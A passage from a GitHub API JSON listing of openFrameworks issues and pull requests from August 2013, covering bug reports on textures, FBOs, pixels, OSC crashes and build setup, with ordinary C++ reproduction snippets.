/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":0,"created_at":"2013-08-21T04:30:04Z","updated_at":"2013-08-21T08:18:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I was getting this error out of the box with osx 10.8.1 and xcode 4.6.3. I had to install the command line tools and that resolved it for me.\r\n\r\nGo to Xcode > Preferences > Downloads and click on \"install\" for the command line tools \r\n\r\ndid some digging and didn't see this addressed for the most (as of now) recent versions of things but I did find many other things to try that didn't work before stumbling on this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2493","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2493/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2493/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2493/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2493","id":18322687,"number":2493,"title":"const-corrections","user":{"login":"bakercp","id":300484,"avatar_url":"https://2.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"bakercp","id":300484,"avatar_url":"https://2.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":0,"created_at":"2013-08-20T21:30:09Z","updated_at":"2013-08-21T03:02:16Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2493","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2493.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2493.patch"},"body":"~~Both `enableTextureTarget()` and `disableTextureTarget()` might raise some questions about their `const`-ness, but those member functions (which conditionally access an outside global state) are kind of awkwardly situated to begin with.\r\n\r\nThis is API changing and will likely break any addons that extend the various interfaces and helper classes (such as `ofVideoPlayer`).~~\r\n\r\n... in the meantime, this evolved into a little bigger (but still important project). I would propose that we not try to fix every little const problem in one PR, but this one can focus on video and images/pixels/textures, which are tightly coupled."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2492","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2492/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2492/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2492/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2492","id":18313623,"number":2492,"title":"add install scripts for openSUSE in scripts/linux/opensuse","user":{"login":"prusnak","id":42201,"avatar_url":"https://0.gravatar.com/avatar/b54b0eb056f30cc9c4daf193cf8eabae?d=https%3A%2F%2Fidenticons.github.com%2Ffca7ac68a9bcfe7ec3a017257471f198.png","gravatar_id":"b54b0eb056f30cc9c4daf193cf8eabae","url":"https://api.github.com/users/prusnak","html_url":"https://github.com/prusnak","followers_url":"https://api.github.com/users/prusnak/followers","following_url":"https://api.github.com/users/prusnak/following{/other_user}","gists_url":"https://api.github.com/users/prusnak/gists{/gist_id}","starred_url":"https://api.github.com/users/prusnak/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prusnak/subscriptions","organizations_url":"https://api.github.com/users/prusnak/orgs","repos_url":"https://api.github.com/users/prusnak/repos","events_url":"https://api.github.com/users/prusnak/events{/privacy}","received_events_url":"https://api.github.com/users/prusnak/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-20T18:46:26Z","updated_at":"2013-08-20T19:04:01Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2492","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2492.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2492.patch"},"body":"I created install scripts for openSUSE distribution by modifying the ones for Fedora."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2491","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2491/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2491/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2491/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2491","id":18283673,"number":2491,"title":"ofxOscReceiver crashes if space in the name","user":{"login":"jvcleave","id":150037,"avatar_url":"https://2.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https%3A%2F%2Fidenticons.github.com%2F5ed96817efb118a36c00303b90e4b003.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following{/other_user}","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-20T08:36:18Z","updated_at":"2013-08-20T10:02:41Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"to replicate change \"check\" to \"check me\" in oscParametersReceiver and oscParametersSender\r\n\r\nbacktrace\r\n````\r\n#0 0x00026bf4 in ofxOscReceiver::getParameter (this=0x13dec14, parameter=@0x13ded9c) at ofxOscReceiver.cpp:235\r\n#1 0x00024d9d in ofxOscParameterSync::update (this=0x13dec10) at ofxOscParameterSync.cpp:31\r\n#2 0x00017c6c in ofApp::update (this=0x13dec00) at ofApp.cpp:27\r\n#3 0x0001613d in ofBaseApp::update (this=0x13dec00, args=@0x6acb35) at ofBaseApp.h:44\r\n#4 0x0031d3dc in Poco::PriorityDelegate::notify (this=, sender=0x0, arguments=) at PriorityDelegate.h:168\r\n#5 0x00321e0a in Poco::PriorityStrategy >::notify () at /Volumes/WORK_IN_PROGRESS/OPENFRAMEWORKS/openFrameworks/libs/poco/include/Poco/PriorityStrategy.h:81\r\n#6 0x00321e0a in Poco::AbstractEvent >, Poco::AbstractPriorityDelegate, Poco::FastMutex>::notify (this=, pSender=0x0, args=@0x6acb35) at PriorityStrategy.h:241\r\n#7 0x00320673 in ofNotifyEvent, ofEventArgs> (event=@0x13df450, args=@0x6acb35) at ofEventUtils.h:172\r\n#8 0x0031ffc0 in ofNotifyUpdate () at ofEvents.cpp:165\r\n#9 0x00363c89 in ofAppGLFWWindow::runAppViaInfiniteLoop (this=0xd3ca30, appPtr=0x13dec00) at ofAppGLFWWindow.cpp:286\r\n#10 0x00319feb in ofRunApp (OFSA=0x13dec00) at ofAppRunner.cpp:137\r\n#11 0x00002e6a in main () at main.cpp:11\r\n````\r\n![screen shot 2013-08-20 at 4 27 39 am](https://f.cloud.github.com/assets/150037/991978/7ca33fa8-0973-11e3-9dc4-299ff86d19a1.png)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2490","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2490/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2490/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2490/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2490","id":18257205,"number":2490,"title":"OF_RECTMODE_CENTER not playing nice with textures (0.8.0)","user":{"login":"prisonerjohn","id":119702,"avatar_url":"https://1.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https%3A%2F%2Fidenticons.github.com%2F00cfaa1a8406a24a7a9f07482e2b1938.png","gravatar_id":"b52cabeecffe4497699db813a715456f","url":"https://api.github.com/users/prisonerjohn","html_url":"https://github.com/prisonerjohn","followers_url":"https://api.github.com/users/prisonerjohn/followers","following_url":"https://api.github.com/users/prisonerjohn/following{/other_user}","gists_url":"https://api.github.com/users/prisonerjohn/gists{/gist_id}","starred_url":"https://api.github.com/users/prisonerjohn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prisonerjohn/subscriptions","organizations_url":"https://api.github.com/users/prisonerjohn/orgs","repos_url":"https://api.github.com/users/prisonerjohn/repos","events_url":"https://api.github.com/users/prisonerjohn/events{/privacy}","received_events_url":"https://api.github.com/users/prisonerjohn/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":2,"created_at":"2013-08-19T19:01:24Z","updated_at":"2013-08-20T09:55:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I set `ofSetRectMode(OF_RECTMODE_CENTER);` textures are stuck to the top-left of the window, no matter what (x, y) params I give to `draw(x, y, w, h)`.\r\n\r\nHere is an example ofApp.h\r\n```cpp\r\n#pragma once\r\n\r\n#include \"ofMain.h\"\r\n\r\nclass ofApp : public ofBaseApp{\r\n\r\n\tpublic:\r\n\t\tvoid setup();\r\n\t\tvoid update();\r\n\t\tvoid draw();\r\n\r\n\t\tofImage image;\r\n};\r\n```\r\n\r\nAnd the matching ofApp.cpp\r\n```cpp\r\n#include \"ofApp.h\"\r\n\r\n//--------------------------------------------------------------\r\nvoid ofApp::setup(){\r\n ofSetRectMode(OF_RECTMODE_CENTER);\r\n \r\n image.loadImage(\"tdf_1972_poster.jpg\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid ofApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid ofApp::draw(){\r\n image.draw(mouseX, mouseY, 320, 240);\r\n ofRect(mouseX, mouseY, image.getWidth(), image.getHeight());\r\n}\r\n```\r\n\r\nHaving the same issue on tag `0.8.0` and `master`, with `ofImage` and `ofVideoPlayer`. It works as expected if I take out the call to `ofSetRectMode();`.\r\n\r\n![screen shot 2013-08-19 at 3 00 32 pm](https://f.cloud.github.com/assets/119702/988426/aea3da5c-0901-11e3-85e0-e03a44e6105a.png)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2489","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2489/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2489/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2489/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2489","id":18249318,"number":2489,"title":"ofQTKitGrabber logs at verbose level, but ignores setVerbose","user":{"login":"admsyn","id":609318,"avatar_url":"https://1.gravatar.com/avatar/9bfde17cfd50ff8f12cae51ab1079d72?d=https%3A%2F%2Fidenticons.github.com%2Fd3361161dca2fbe24ffea23b9a2d233b.png","gravatar_id":"9bfde17cfd50ff8f12cae51ab1079d72","url":"https://api.github.com/users/admsyn","html_url":"https://github.com/admsyn","followers_url":"https://api.github.com/users/admsyn/followers","following_url":"https://api.github.com/users/admsyn/following{/other_user}","gists_url":"https://api.github.com/users/admsyn/gists{/gist_id}","starred_url":"https://api.github.com/users/admsyn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/admsyn/subscriptions","organizations_url":"https://api.github.com/users/admsyn/orgs","repos_url":"https://api.github.com/users/admsyn/repos","events_url":"https://api.github.com/users/admsyn/events{/privacy}","received_events_url":"https://api.github.com/users/admsyn/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-19T16:30:42Z","updated_at":"2013-08-20T09:47:57Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"In `listDevices` ofQTKitGrabber [logs devices at verbose level](https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQTKitGrabber.mm#L144). However, it also [ignores setVerbose](https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQTKitGrabber.mm#L923).\r\n\r\nThis means that seemingly correct code like:\r\n\r\n```\r\nvidGrabber.setVerbose(true);\r\nvidGrabber.listDevices();\r\n```\r\n\r\nprints nothing.\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2488","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2488/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2488/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2488/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2488","id":18213515,"number":2488,"title":"DONTMERGEYET - Feature updates HTTP Requests","user":{"login":"danthemellowman","id":719564,"avatar_url":"https://1.gravatar.com/avatar/79621943dfc6272eae9697464ad33696?d=https%3A%2F%2Fidenticons.github.com%2Fb03d3f3b4371f2676213314af7fe19d8.png","gravatar_id":"79621943dfc6272eae9697464ad33696","url":"https://api.github.com/users/danthemellowman","html_url":"https://github.com/danthemellowman","followers_url":"https://api.github.com/users/danthemellowman/followers","following_url":"https://api.github.com/users/danthemellowman/following{/other_user}","gists_url":"https://api.github.com/users/danthemellowman/gists{/gist_id}","starred_url":"https://api.github.com/users/danthemellowman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danthemellowman/subscriptions","organizations_url":"https://api.github.com/users/danthemellowman/orgs","repos_url":"https://api.github.com/users/danthemellowman/repos","events_url":"https://api.github.com/users/danthemellowman/events{/privacy}","received_events_url":"https://api.github.com/users/danthemellowman/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2013-08-18T20:44:29Z","updated_at":"2013-08-20T18:33:35Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2488","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2488.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2488.patch"},"body":"Let me know what I should change. You can test the app I added to devApps, httpRequests, to see how it all works. Use the 1-7 keys to change between the different requests to HTTPBin. \r\n\r\n(I know I need to fix my computers' GIT accounts/setup they suffer from multiple personalities) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2487","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2487/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2487/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2487/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2487","id":18203928,"number":2487,"title":"ofFBO::numColorbuffers BUG! . (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":3,"created_at":"2013-08-18T06:39:24Z","updated_at":"2013-08-20T09:31:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"vs2012+win7+of0.80\r\n\r\nnumColorbuffers set anything, textureNum Always 1.\r\n\r\n...\r\n ofFbo\t\t\tbaseMaskFbo;\r\n ofFbo\t\t\tanalyzeFbo;\r\n\tofFbo::Settings s;\r\n\ts.width\t\t\t=1024;\r\n\ts.height\t\t\t= 768;\r\n\ts.internalformat = GL_LUMINANCE;\r\n\ts.numSamples\t\t= 0;\r\n\ts.numColorbuffers\t= 7; \r\n\tbaseMaskFbo.allocate(s);\r\n...\r\n\r\nof0.80:\r\n\tcout << baseMaskFbo.getNumTextures() << endl; ===> 1 BUG!!!\r\nof0.74:\r\n cout << baseMaskFbo.getNumTextures() << endl; ===> 7 OK!!!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2485","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2485/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2485/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2485/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2485","id":18191632,"number":2485,"title":"The ofPixels OF0.74 and OF0.80 What is the difference?","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":2,"created_at":"2013-08-17T09:15:04Z","updated_at":"2013-08-20T09:28:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"```\r\nofPixels pixels;\r\nofImage img;\r\n\r\nofSetDataPathRoot(\"E:/Program Files/of_v0.8.0_vs_release/examples/graphics/imageLoaderExample/bin/data/images/\");\r\nimg.loadImage(\"transparency.png\");\r\nimg.getTextureReference().readToPixels(pixels);\r\n```\r\n\r\n0.74 => ok\r\n\r\n0.80 => error\r\n\r\n[ofPixels: error ] allocate(): unknown image type, not allocating\r\n[ofGLUtils: error ] ofGetGlFormatAndType(): internal format not recognized, returning GL_RGBA\r\n\r\nIf you add “pixels.allocate(img.getWidth(),img.getHeight(),OF_IMAGE_COLOR_ALPHA);”\r\n0.80=>error\r\n[ofPixels: error ] allocate(): unknown image type, not allocating"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2484","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2484/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2484/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2484/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2484","id":18191355,"number":2484,"title":"serialExample Exit exception . (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://2.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-17T08:38:59Z","updated_at":"2013-08-17T08:38:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"vs2012 +win7sp1+of0.8.0\r\n\r\nrelease and debug..compiler ===> pressed Esc \r\n\r\nrelease : ==> free.c \r\nvoid __cdecl _free_base (void * pBlock)\r\n{\r\n\r\n int retval = 0;\r\n\r\n\r\n if (pBlock == NULL)\r\n return;\r\n\r\n RTCCALLBACK(_RTC_Free_hook, (pBlock, 0));\r\n\r\n retval = HeapFree(_crtheap, 0, pBlock);\r\n if (retval == 0) ===========================>> Exception \r\n {\r\n errno = _get_errno_from_oserr(GetLastError());\r\n }\r\n}\r\n\r\ndebug: ===>xtree\r\n\r\nPairii _Eqrange(const key_type& _Keyval)\r\n\t\t{\t// find leftmost node not less than _Keyval\r\n\t\t_Nodeptr _Pnode = _Root();\r\n\t\t_Nodeptr _Lonode = this->_Myhead;\t// end() if search fails\r\n\t\t_Nodeptr _Hinode = this->_Myhead;\t// end() if search fails\r\n\r\n\t\twhile (!this->_Isnil(_Pnode)) ================>> Exception \r\n ........\r\n}\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2481","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2481/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2481/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2481/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2481","id":18182396,"number":2481,"title":"ofRectRounded does not respond to ofSetCircleResolution or 